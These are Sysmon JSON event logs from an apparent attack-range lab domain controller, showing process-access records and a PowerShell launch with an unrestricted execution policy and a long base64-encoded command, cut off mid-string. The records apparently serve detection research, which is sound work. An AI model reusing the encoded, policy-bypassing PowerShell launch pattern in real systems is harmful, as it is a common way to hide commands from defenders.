C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.884\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001050030800}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.884","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001050030800}","TargetProcessId":"3468","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.893\r\nProcessGuid: {90617006-416D-5F2D-0000-001026040800}\r\nProcessId: 4732\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-416D-5F2D-0000-001050030800}\r\nParentProcessId: 3468\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBB